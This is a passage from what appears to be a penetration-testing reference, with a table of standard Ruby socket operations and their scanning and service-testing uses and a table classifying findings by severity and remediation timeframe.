Cleanup Feasibility Changes can be reversed Documentation of modifications

Common Ruby Socket Operations

Operation Code Pattern Use Case
TCP Connect TCPSocket.new(host, port) Port scanning, service connection
Banner Grab socket.recv(1024) Service identification
UDP Send UDPSocket.new.send(data, 0, host, port) DNS queries, SNMP
Non-blocking Connect Socket.new + connect_nonblock Parallel scanning
SSL/TLS OpenSSL::SSL::SSLSocket Encrypted service testing
Raw Socket Socket.new(AF_INET, SOCK_RAW) Custom protocol, packet crafting

Report Severity Classification

Severity Characteristics Recommended Timeframe Business Impact
Critical Remote code execution, data breach Immediate (24-48 hours) Severe financial, legal, reputational
High Authentication bypass, privilege escalation Urgent (1 week) Significant data exposure
Medium Information disclosure, weak encryption Normal (1 month) Limited data exposure
Low Configuration issues, non-exploitable findings Extended (3 months) Minimal direct impact
Informational Best practice violations, hardening opportunities Next cycle No immediate risk